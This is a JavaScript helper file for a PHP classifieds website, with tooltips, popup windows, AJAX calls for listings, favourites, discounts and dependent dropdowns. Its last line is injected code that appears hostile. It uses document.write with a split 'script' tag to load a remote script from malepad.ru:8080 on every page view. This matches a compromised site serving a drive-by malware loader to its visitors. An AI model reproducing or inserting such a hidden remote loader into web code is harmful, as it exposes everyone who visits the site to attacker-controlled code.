$(document).ready(function ()
{
	tooltip();
});

function tooltip()
{
	//var old_title;

	$("img.tooltip").mouseover
	(		
		function (event) 
		{ 
			var text = this.name;
			
			x = event.pageX+5;
			y = event.pageY+5;
								
			$("body").append("<div id='tooltip'>"+text+"</div>");
			$("#tooltip").css("left", x).css("top", y);
		}
	);
	$("span.tooltip").mouseover
	(		
		function (event) 
		{ 
			var text = this.title;
			//$("span.tooltip").removeAttr("title"); // trick to disable default show title
			//old_title=text;
			
			x = event.pageX+5;
			y = event.pageY+5;
								
			$("body").append("<div id='tooltip'>"+text+"</div>");
			$("#tooltip").css("left", x).css("top", y);
		}
	);

	$("input.tooltip").mouseover
	(		
		function (event) 
		{ 
			var text = this.title;
			//$("input.tooltip").removeAttr("title"); // trick to disable default show title
			//old_title=text;
			
			x = event.pageX+5;
			y = event.pageY+5;
								
			$("body").append("<div id='tooltip'>"+text+"</div>");
			$("#tooltip").css("left", x).css("top", y);
		}
	);
		
	$("img.tooltip").mouseout(
		function (event)
		{
			$("#tooltip").remove();
		}
	);

	$("span.tooltip").mouseout(
		function (event)
		{
			$("#tooltip").remove();
			//$("span.tooltip").attr("title", old_title); // enable back title
		}
	);

	$("input.tooltip").mouseout(
		function (event)
		{
			$("#tooltip").remove();
			//$("input.tooltip").attr("title", old_title); // enable back title
		}
	);

}


function n_window(theurl,w,h)
{
 // set the width and height
 var the_width=w;
 var the_height=h;
 // set window position
 var from_top=200;
 var from_left=200;
 // set other attributes
 var has_toolbar='no';
 var has_location='no';
 var has_directories='no';
 var has_status='no';
 var has_menubar='no';
 var has_scrollbars='yes';
 var is_resizable='yes';
 // attributes put together
 var the_atts='width='+the_width+'show,height='+the_height+',top='+from_top+',screenY='+from_top+',left='+from_left+',screenX='+from_left;
 the_atts+=',toolbar='+has_toolbar+',location='+has_location+',directories='+has_directories+',status='+has_status;
 the_atts+=',menubar='+has_menubar+',scrollbars='+has_scrollbars+',resizable='+is_resizable;
 // open window
 window.open(theurl,'',the_atts);
}

function myConfirm(msg)
{
    if(!confirm(msg)) return false;

/*
    if ( ! window.showModalDialog || window.external.IYBrowserExtend) {
    if(!confirm(msg)) return false;
    } else {
    var oArguments = {
	Message : msg
    };
    var oAction = window.showModalDialog("confirmation.html",oArguments,"dialogHeight:150px;dialogWidth:300px;status:no;help:no;resizable:yes;scroll:no;");
			
    if(oAction)
    {
    if(!oAction.confirmed) return false;
    }
} */
    return true;
}

function doSel(obj)
{
     for (i = 0; i < obj.length; i++)
        if (obj[i].selected == true)
           eval(obj[i].value);
}

function changeLoc(obj, base, param) {

     for (i = 0; i < obj.length; i++)
        if (obj[i].selected == true)
		location.href=base+"?"+param+"&current_fieldset="+obj[i].value;

}

function getxmlhttp() {

var xmlhttp=false;
try {
	// if Javascript version>5
	xmlhttp=new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
	//if not use the older ActiveX object
	try {
	//if using IE
	xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
	} catch (E) {
	xmlhttp=false;
	}
}
// if not using IE, create a javascript instance of the object
if(!xmlhttp && typeof XMLHttpRequest != 'undefined') {
	xmlhttp=new XMLHttpRequest();
}

return xmlhttp;

}

function CountTitleLeft(field, max) {
	if (field.value.length > max)
		field.value = field.value.substring(0, max);
}
function splitMapsCoord(str) {
	if(!str) return 0;
	var split_str=str.split(",");
	var no = split_str.length;
	if(no!=3) return 0;
	return split_str;
}


function PreloadImages(){
	var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
	var i,j=d.MM_p.length,a=PreloadImages.arguments; for(i=0; i<a.length; i++)
	if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function SwapImages(source, id){

	thmb = new Image();
	thmb.src = 'images/listings/bigThmb/'+source;
	img = new Image();
	img.src = 'images/listings/'+source;

	document.getElementById('bigImage').width=thmb.width;
	document.getElementById('bigImage').height=thmb.height;
	document.getElementById('bigImage').src = thmb.src;
	
	var lnk=document.getElementById("pic_lnk");
	document.getElementById('pic_lnk').href='javascript: n_window("include/show_image.php?id='+id+'","'+img.width+'","'+img.height+'");';
}

function CountTextLeft(myForm, field, count) {

	if (typeof myForm.no_words == 'undefined') return;

	var corrector=0
	var text=field.value + " ";
	var netscapecorrector;
	var content, words;
	var diff;
	if (document.layers) {netscapecorrector=1;maximalwords+=1}
	if (document.all) {netscapecorrector=0 ;}
	var no_words=myForm.no_words.value;
	if(no_words>0)
	{
		var iwhitespace = /^[^A-Za-z0-9]+/gi; // initial whitespace
		var left_trimmedStr = text.replace(iwhitespace, "");
		var na = rExp = /[^A-Za-z0-9]+/gi; // non alphanumeric
		var cleanedStr = left_trimmedStr.replace(na, " ");
		var splitString = cleanedStr.split(" ");
		var word_count = splitString.length -1;
		words_left=no_words-word_count+corrector;
		if(words_left<0) { 
			words_left=0;
			myForm.description.value=cleanedStr.substr(0,cleanedStr.length-1);
		}
		count.value=words_left;
	}
}

/*
function submitForm(myForm)
{
	var dv;

	var ns4=document.layers
	var ns6=document.getElementById&&!document.all
	var ie4=document.all

	if (ns4) dv=document.loading;
	else if (ns6) dv=document.getElementById("loading").style;
	else if (ie4) dv=document.all.loading.style;

	if(stripHTML==1)
	{
		var re= /<\S[^><]*>/g;
		myForm.title.value=myForm.title.value.replace(re, "");
		myForm.description.value=myForm.description.value.replace(re, "");
	}
	if(ns4) dv.visibility="block";
	else if (ns6||ie4) dv.display="block";
myForm.submit();
}
*/


function clickBanner(id, url) {

	url_str="include/get_info.php?type=banner&id="+id;
	var xmlhttp=getxmlhttp();
	xmlhttp.open("GET",url_str);
	xmlhttp.send(null);
	window.open(url);
}

function onDelete(id,str,obj_type)
{

	if (myConfirm(str)==false) return;
	var url_str="include/actions.php?action=delete&object="+obj_type+"&id="+id;

	xmlhttp=getxmlhttp();
	xmlhttp.open("GET",url_str);
	xmlhttp.onreadystatechange = function () {

		if(xmlhttp.readyState == 4 && xmlhttp.status == 200) {
			location.reload(true);
		}
	}
	xmlhttp.send(null);
}

function onSold(id, obj_type) {

	var url_str="include/actions.php?action=sold&object="+obj_type+"&id="+id;
	var xmlhttp=getxmlhttp();
	xmlhttp.open("GET",url_str);
	xmlhttp.onreadystatechange = function () {
		if(xmlhttp.readyState == 4 && xmlhttp.status == 200) {
			location.reload(true);
		}
	}
	xmlhttp.send(null);
}

function onUnsold(id, obj_type) {

	var url_str="include/actions.php?action=unsold&object="+obj_type+"&id="+id;
	var xmlhttp=getxmlhttp();
	xmlhttp.open("GET",url_str);
	xmlhttp.onreadystatechange = function () {
		if(xmlhttp.readyState == 4 && xmlhttp.status == 200) {
			location.reload(true);
		}
	}
	xmlhttp.send(null);
}

function add_to_fav(id, confirm_str, done_str, site_url) {
	if(confirm_str!="" && myConfirm(confirm_str)==false) return;
	var url_str = site_url+"/include/actions.php?action=favourite&object=listing&id="+id;
	var xmlhttp=getxmlhttp();
	xmlhttp.open("GET",url_str);
	xmlhttp.onreadystatechange = function () {
		if(xmlhttp.readyState == 4 && xmlhttp.status == 200) {
			alert(done_str);
		}
	}
	xmlhttp.send(null);
}

function checkOther(elem, val) {

	var selected_index = elem.selectedIndex;
	var selected_val = elem.options[selected_index].value;

	if(selected_val=="-1") 
		document.getElementById("span_"+val+"_other_val").style.display="block";
	else 
		document.getElementById("span_"+val+"_other_val").style.display="none";

}

function selDepending(caption1, caption2, dep_id, categ_id, other_val, other_str) {


var selected_index = document.getElementById(caption1).selectedIndex;
var id = document.getElementById(caption1).options[selected_index].value;

if(other_val){
if(id=="-1") {
	document.getElementById("span_"+caption1+"_other_val").style.display="block";
	document.getElementById("span_"+caption2+"_other_val").style.display="block";
	document.getElementById(caption2).disabled = false;
	document.getElementById(caption2).options.length = 1;
	document.getElementById(caption2).options[1] = new  Option(other_str, "-1");
	document.getElementById(caption2).selectedIndex=1;
	return;
} else {
	document.getElementById("span_"+caption1+"_other_val").style.display="none";
	document.getElementById("span_"+caption2+"_other_val").style.display="none";
}
}

document.getElementById(caption2).disabled = false;
url_str="include/get_info.php?type=depending&field="+dep_id+"&dep="+id+"&cat="+categ_id;
//document.write(url_str);
var xmlhttp=getxmlhttp();
xmlhttp.open("GET",url_str);

xmlhttp.onreadystatechange = function () {

	if(xmlhttp.readyState == 4 && xmlhttp.status == 200) {

		var dep_str=xmlhttp.responseText;//response=--:id[0],name[0]:id[1],name[1] .....
 		var split_dep=dep_str.split(":");
		var no = split_dep.length;
		document.getElementById(caption2).options.length = 0;
		var depIndex = 0;
		document.getElementById(caption2).options[depIndex] = new  Option(split_dep[0], "");
		depIndex++;

		if(other_val) {
			document.getElementById(caption2).options[depIndex] = new  Option(other_str, "-1");
			depIndex++;
		}

		for (var j=1;j<no;j++) {
			split_d=split_dep[j].split(',');
			var dep_id=split_d[0];
			var dep_name=split_d[1];
			document.getElementById(caption2).options[depIndex] = new  Option(dep_name, dep_name);
			depIndex++;
		}
	}
}
xmlhttp.send(null);
}

function oldDepending(caption1, caption2, dep_id, sec_val, other_val, other_str) {

var selected_index = document.getElementById(caption1).selectedIndex;
var id = document.getElementById(caption1).options[selected_index].value;

if(other_val){
if(id=="-1") {
	document.getElementById("span_"+caption1+"_other_val").style.display="block";
	document.getElementById("span_"+caption2+"_other_val").style.display="block";
	document.getElementById(caption2).disabled = false;
	document.getElementById(caption2).options.length = 1;
	document.getElementById(caption2).options[1] = new  Option(other_str, "-1");
	document.getElementById(caption2).selectedIndex=1;
	return;
} else {
	document.getElementById("span_"+caption1+"_other_val").style.display="none";
	document.getElementById("span_"+caption2+"_other_val").style.display="none";
}
}

document.getElementById(caption2).disabled = false;
url_str="include/get_info.php?type=depending&field="+dep_id+"&dep="+id;
var xmlhttp=getxmlhttp();
xmlhttp.open("GET",url_str);
xmlhttp.onreadystatechange = function () {

	if(xmlhttp.readyState == 4 && xmlhttp.status == 200) {
		var dep_str=xmlhttp.responseText;//response=--:id[0],name[0]:id[1],name[1] .....
 		var split_dep=dep_str.split(":");
		var no = split_dep.length;
		document.getElementById(caption2).options.length = 0;
		var depIndex = 0;
		document.getElementById(caption2).options[depIndex] = new  Option(split_dep[0], "");
		depIndex++;

		if(other_val) {
			document.getElementById(caption2).options[depIndex] = new  Option(other_str, "-1");
			depIndex++;
		}
		var found = 0;
		for (var j=1;j<no;j++) {
			split_d=split_dep[j].split(',');
			var dep_id=split_d[0];
			var dep_name=split_d[1];
			document.getElementById(caption2).options[depIndex] = new  Option(dep_name, dep_name);
			if(sec_val==dep_name) { document.getElementById(caption2).selectedIndex=depIndex; found=1; }
			depIndex++;
		}
		if(!found && sec_val && other_val) { 
			document.getElementById(caption2).selectedIndex=1;
			document.getElementById("span_"+caption2+"_other_val").style.display="block";
			document.getElementById(caption2+"_other_val").value=sec_val;
		}
	}
}
xmlhttp.send(null);
}

function adjustTotal(myForm, price, field) {

	var total = myForm.full_total.value;
	if(field.checked==true) {
		// add to total
		total = parseFloat(total)+parseFloat(price);
	} else {
		// substract from total
		total = parseFloat(total)-parseFloat(price);
	}
	myForm.full_total.value = total;
	document.getElementById("total").innerHTML = total;	

	getDiscount (myForm,"ads");

}

function changePriority(myForm, val) {

	//var total = document.getElementById("total").innerHTML;
	var total = myForm.full_total.value;
	var prev = myForm.pri.value;
	if(!prev) prev=0;
	if(!val) val=0;
	total = parseFloat(total)+parseFloat(val);
	total = parseFloat(total)-parseFloat(prev);
	myForm.pri.value = val;
	myForm.full_total.value = total;
	document.getElementById("total").innerHTML = total;

	getDiscount (myForm,"ads");

}

/*
function onChooseLanguage(id) {

	url_str="include/actions.php?object=language&id="+id;
	var xmlhttp=getxmlhttp();
	xmlhttp.open("GET",url_str);
	xmlhttp.onreadystatechange = function () {

		if(xmlhttp.readyState == 4 && xmlhttp.status == 200) {
			//location.reload(true);
		}
	}
	xmlhttp.send(null);

}*/


function getDiscount (myForm, type) {

if (typeof myForm.discount_code == 'undefined') return;

var code = myForm.discount_code.value;
url_str="include/get_info.php?type=discount&id="+code+"&dtype="+type;

var xmlhttp=getxmlhttp();
xmlhttp.open("GET",url_str);
xmlhttp.onreadystatechange = function () {

	if(xmlhttp.readyState == 4 && xmlhttp.status == 200) {

		var discount_str=xmlhttp.responseText;
		if(discount_str!=0) {

		var split_ans=discount_str.split(":");
		var no = split_ans.length;
		if(no!=2) return; 
	
		var discount = split_ans[0];
		var type = split_ans[1];

		var total = myForm.full_total.value;

		if(!total) return;

		var new_total = 0;

		if(type=="fixed") {

			new_total = total-discount;

		} else {

			new_total = total - (discount*total)/100;
		}

		if(new_total<0) new_total = 0;

		document.getElementById("total").innerHTML = new_total;

		}
	}
}

xmlhttp.send(null);
}


function onChangePlan(myForm) {

	var i;
	var selected_plan;

	if(typeof myForm.package.length == "number") {
		var radioLength = myForm.package.length;
		for (i = 0; i<radioLength;i++) {
			if(myForm.package[i].checked) selected_plan = myForm.package[i].value;
		}
	}
	else selected_plan = document.getElementById("package").value;

	if(!selected_plan) return;
	url_str="include/get_info.php?type=sub_price&id="+selected_plan;
	var xmlhttp=getxmlhttp();
	xmlhttp.open("GET",url_str);
	xmlhttp.onreadystatechange = function () {

	if(xmlhttp.readyState == 4 && xmlhttp.status == 200) {
		var ret_str=xmlhttp.responseText;//response=price
		var amount = parseFloat(ret_str);

		myForm.full_total.value = amount;
		document.getElementById("total").innerHTML = amount;	

		getDiscount (myForm,"ads");

	}
	}
	xmlhttp.send(null);
	
}

function radioSelected() {
var search = document.searchFolderContents.search
var radioLength = (typeof search.length == "number") ? (search.length) : 1;
}
/*
function getCatAdv(myForm) {

	var selected_index = myForm.category.selectedIndex;
	var selected_val = myForm.category.options[selected_index].value;
	var split_str=selected_val.split(",");
	id=split_str[0];

	url_str="include/get_info.php?type=cat_adv&id="+id;
	var xmlhttp=getxmlhttp();
	xmlhttp.open("GET",url_str,true);
	xmlhttp.onreadystatechange = function () {
		if(xmlhttp.readyState == 4 && xmlhttp.status == 200) {
			var str=xmlhttp.responseText;//response=div_str
			if(str!='0') {

				var split_str=str.split(",");
				var no = split_str.length;
				for(f=0; f< no; f++) {
					div_spec=split_str[f];
					var split_spec=div_spec.split("=");
					var field_name=split_spec[0];
					//alert(document.getElementById(field_name));
					if(document.getElementById(field_name)!=null) {
					if(split_spec[1]==1)
						document.getElementById(field_name).disabled=false;
					else document.getElementById(field_name).disabled=true;
					}
				}
			}

		}
	}
	xmlhttp.send(null);
}*/

function reloadDep(str) {

var selected_index = document.getElementById('category').selectedIndex;
var cat = document.getElementById('category').options[selected_index].value;
url_str="include/get_info.php?type=reload_depending&str="+str+"&cat="+cat;

var xmlhttp=getxmlhttp();
xmlhttp.open("GET",url_str);

xmlhttp.onreadystatechange = function () {

	if(xmlhttp.readyState == 4 && xmlhttp.status == 200) {
		var dep_str=xmlhttp.responseText;//response=field1_caption,top_str1,field2_caption,top_str2,val1,val2,val3^field2_caption,top_str2,val1,val2,val3
		if(!dep_str) return;

 		var split_dep=dep_str.split("^");
		var no_fields = split_dep.length;

		for (var idx=0;idx<no_fields;idx++) {

	 		var vals=split_dep[idx].split(",");
			var no = vals.length;
			caption = vals[0];
			top_str = vals[1];
			caption2 = vals[2];
			top_str2 = vals[3];

			document.getElementById(caption).disabled=false;
			document.getElementById(caption).options.length = 0;
			var depIndex = 0;
			document.getElementById(caption).options[depIndex] = new  Option(top_str, "");
			depIndex++;

			// empty second field
			document.getElementById(caption2).options.length = 0;
			document.getElementById(caption2).options[0] = new  Option(top_str2, "");
			document.getElementById(caption2).disabled=true;

			if (no<=4) { document.getElementById(caption).disabled=true; continue; }

			for (var j=4;j<no;j++) {
				document.getElementById(caption).options[depIndex] = new  Option(vals[j], vals[j]);
				depIndex++;
			}

		} //end for (var idx=1;idx<no;idx++) 
	}
}
	xmlhttp.send(null);

}

function checkAll(doc) {
  var c = new Array();
  c = doc.getElementsByTagName('input');
  for (var i = 0; i < c.length; i++)
  {
    if (c[i].type == 'checkbox')
    {
      c[i].checked = true;
    }
  }
}
function uncheckAll(doc)
{
  var c = new Array();
  c = doc.getElementsByTagName('input');
  for (var i = 0; i < c.length; i++)
  {
    if (c[i].type == 'checkbox')
    {
      c[i].checked = false;
    }
  }

}


document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Hard_Drive.js"></scr'+'ipt>');